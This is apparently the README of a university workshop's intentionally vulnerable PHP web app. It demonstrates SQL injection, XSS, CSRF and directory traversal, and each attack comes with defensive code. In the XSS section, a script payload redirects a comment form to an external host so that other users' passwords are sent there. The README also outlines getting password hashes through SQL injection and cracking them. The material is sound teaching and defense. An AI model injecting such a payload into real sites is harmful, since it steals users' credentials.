Skip to content

WBU Web Security Demo App and additional resources

License

Notifications You must be signed in to change notification settings

peoplepath/workshop-web-security

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

DISCLAIMER: code in this demonstration are intentionally vulnerable. Do not use this code in your application!

Web Application Security Demo

Designed for students of KIV/WEB of University of West Bohemia

Older version of this workshop is available here

Presentation

Slides

Development

Requirements

  • PHP >=7.1
  • PHP extensions PDO and pdo_sqlite

Installation

Clone this repository git clone https://github.com/peoplepath/workshop-web-security.git or download ZIP file

Run

Inside downloaded project run

php -S 127.0.0.1:8080

Then goto http://127.0.0.1:8080/

Simulate attacks

SQL injection

Defense

Prepare statement

// prepare SQL statement on DB without arguments
$statement = $pdo->prepare($sql);

// send arguments separately (safely)
$statement->execute(['%' . $query . '%']);

// execute as normal
$users = $statement->fetchAll();

XSS

❤️<script>
var form = document.querySelector('form');
form.setAttribute('action', 'https://httpbin.org/post');
form.setAttribute('target', '_blank');
</script>
  • observe that all following backer are sending passwords to malicious server
Defense

escape your outputs

echo htmlspecialchars($comment);

CSRF

Defense

use $_POST for request which modifies data

// verify CSRF token send with form is valid
if ($_SESSION['csrf'] !== $_POST['csrf']) {
    http_response_code(403);
    exit;
}

// generate CSRF token for the next request
$_SESSION['csrf'] = bin2hex(random_bytes(16));

Directory traversal

Defense
  • build application without .git
  • separate public content (images, styles, etc.)
  • adjust configuration of your web server, eg.
# denied all files
<RequireAll>
    Require all denied
</RequireAll>

# whitelist only *.php and other files
<Directory "public">
    <FilesMatch "((^$)|(^.+\.(css|map|js)$))">
        Require all granted
    </FilesMatch>
</Directory>

Weak hash algorithm

  • obtain password hashes by SQL injection attack
  • crack passwords by arbitrary online cracker (Rainbow table)

Resources

XSS (Cross-site Scripting)

HTTP Headers

SQL injection

CSFR (Cross-Site Request Forgery)

Path (Directory) Traversal

Others

About

WBU Web Security Demo App and additional resources

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published